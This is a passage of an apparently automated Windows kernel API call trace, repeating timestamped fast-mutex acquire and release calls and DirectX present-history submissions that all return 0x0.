ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.427] DxgkCddSubmitPresentHistory () returned 0x0 [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.427] DxgkCddSubmitPresentHistory () returned 0x0 [0121.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.442] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.442] DxgkCddSubmitPresentHistory () returned 0x0 [0121.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.459] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.459] DxgkCddSubmitPresentHistory () returned 0x0 [0121.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.489] DxgkCddSubmitPresentHistory () returned 0x0 [0121.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.489] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.491] DxgkCddSubmitPresentHistory () returned 0x0 [0121.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.491] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.491] DxgkCddSubmitPresentHistory () returned 0x0 [0121.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.505] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.505] DxgkCddSubmitPresentHistory () returned 0x0 [0121.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.542] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.542] DxgkCddSubmitPresentHistory () returned 0x0 [0121.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.542] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.542] DxgkCddSubmitPresentHistory () returned 0x0 [0121.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.552] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.552] DxgkCddSubmitPresentHistory () returned 0x0 [0121.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.558] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0121.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.558] DxgkCddSubmitPresentHistory () returned 0x0 [0121.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.591] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.591] DxgkCddSubmitPresentHistory () returned 0x0 [0121.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.621] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.621] DxgkCddSubmitPresentHistory () returned 0x0 [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.622] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.622] DxgkCddSubmitPresentHistory () returned 0x0 [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.622] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.622] DxgkCddSubmitPresentHistory () returned 0x0 [0121.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.658] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.658] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.658] DxgkCddSubmitPresentHistory () returned 0x0 [0121.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.673] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.673] DxgkCddSubmitPresentHistory () returned 0x0 [0121.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.674] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0121.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.674] DxgkCddSubmitPresentHistory () returned 0x0 [0121.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.674] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.674] DxgkCddSubmitPresentHistory () returned 0x0 [0121.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.689] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.689] DxgkCddSubmitPresentHistory () returned 0x0 [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.742] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.742] DxgkCddSubmitPresentHistory () returned 0x0 [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.742] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.742] DxgkCddSubmitPresentHistory () returned 0x0 [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.742] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.742] DxgkCddSubmitPresentHistory () returned 0x0 [0121.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.756] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.756] DxgkCddSubmitPresentHistory () returned 0x0 [0121.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.770] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.770] DxgkCddSubmitPresentHistory () returned 0x0 [0121.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.803] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.803] DxgkCddSubmitPresentHistory () returned 0x0 [0121.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.804] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.804] DxgkCddSubmitPresentHistory () returned 0x0 [0121.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.804] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0121.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.804] DxgkCddSubmitPresentHistory () returned 0x0 [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0121.847] DxgkCddSubmitPresentHistory () returned 0x0 [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.847] DxgkCddSubmitPresentHistory () returned 0x0 [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.847] DxgkCddSubmitPresentHistory () returned 0x0 [0121.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.919] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.919] DxgkCddSubmitPresentHistory () returned 0x0 [0121.950] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.950] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.951] DxgkCddSubmitPresentHistory () returned 0x0 [0121.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.981] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.981] DxgkCddSubmitPresentHistory () returned 0x0 [0121.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.989] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.989] DxgkCddSubmitPresentHistory () returned 0x0 [0122.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.005] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.005] DxgkCddSubmitPresentHistory () returned 0x0 [0122.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.021] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.021] DxgkCddSubmitPresentHistory () returned 0x0 [0122.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.054] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.054] DxgkCddSubmitPresentHistory () returned 0x0 [0122.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.100] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.100] DxgkCddSubmitPresentHistory () returned 0x0 [0122.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.116] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.116] DxgkCddSubmitPresentHistory () returned 0x0 [0122.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.132] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.132] DxgkCddSubmitPresentHistory () returned 0x0 [0122.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.164] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.164] DxgkCddSubmitPresentHistory () returned 0x0 [0122.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.196] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.196] DxgkCddSubmitPresentHistory () returned 0x0 [0122.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.212] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.212] DxgkCddSubmitPresentHistory () returned 0x0 [0122.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.244] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.244] DxgkCddSubmitPresentHistory () returned 0x0 [0122.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.276] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.276] DxgkCddSubmitPresentHistory () returned 0x0 [0122.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.308] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.308] DxgkCddSubmitPresentHistory () returned 0x0 [0122.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0122.340] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0122.340] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0122.340] DxgkCddSubmitPresentHistory () returned 0x0 [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.312] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.312] DxgkCddSubmitPresentHistory () returned 0x0 [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.312] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0123.312] DxgkCddSubmitPresentHistory () returned 0x0 [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.312] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.312] DxgkCddSubmitPresentHistory () returned 0x0 [0123.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.333] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.333] DxgkCddSubmitPresentHistory () returned 0x0 [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.348] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.348] DxgkCddSubmitPresentHistory () returned 0x0 [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.348] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.348] DxgkCddSubmitPresentHistory () returned 0x0 [0123.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.395] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.395] DxgkCddSubmitPresentHistory () returned 0x0 [0123.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.411] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.411] DxgkCddSubmitPresentHistory () returned 0x0 [0123.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.411] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.411] DxgkCddSubmitPresentHistory () returned 0x0 [0123.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.427] DxgkCddSubmitPresentHistory () returned 0x0 [0123.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.486] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.486] DxgkCddSubmitPresentHistory () returned 0x0 [0123.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.501] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.501] DxgkCddSubmitPresentHistory () returned 0x0 [0123.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.501] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.501] DxgkCddSubmitPresentHistory () returned 0x0 [0123.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.547] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.547] DxgkCddSubmitPresentHistory () returned 0x0 [0123.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.626] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.626] DxgkCddSubmitPresentHistory () returned 0x0 [0123.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.657] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.657] DxgkCddSubmitPresentHistory () returned 0x0 [0123.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.755] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.755] DxgkCddSubmitPresentHistory () returned 0x0 [0123.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.755] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.755] DxgkCddSubmitPresentHistory () returned 0x0 [0123.764] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.764] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000160c120) [0123.764] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.764] DxgkCddSubmitPresentHistory () returned 0x0 [0123.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.797] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.798] DxgkCddSubmitPresentHistory () returned 0x0 [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.830] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.830] DxgkCddSubmitPresentHistory () returned 0x0 [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.861] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.861] DxgkCddSubmitPresentHistory () returned 0x0 [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.861] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.861] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.861] DxgkCddSubmitPresentHistory () returned 0x0 [0123.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.893] DxgkCddSubmitPresentHistory () returned 0x0 [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.923] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000160c120) [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.923] DxgkCddSubmitPresentHistory () returned 0x0 [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.923] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.923] DxgkCddSubmitPresentHistory () returned 0x0 [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.923] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.923] DxgkCddSubmitPresentHistory () returned 0x0 [0123.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.936] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.937] DxgkCddSubmitPresentHistory () returned 0x0 [0123.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.970] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0123.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.970] DxgkCddSubmitPresentHistory () returned 0x0 [0123.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.970] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0123.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0123.970] DxgkCddSubmitPresentHistory () returned 0x0 [0123.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.983] 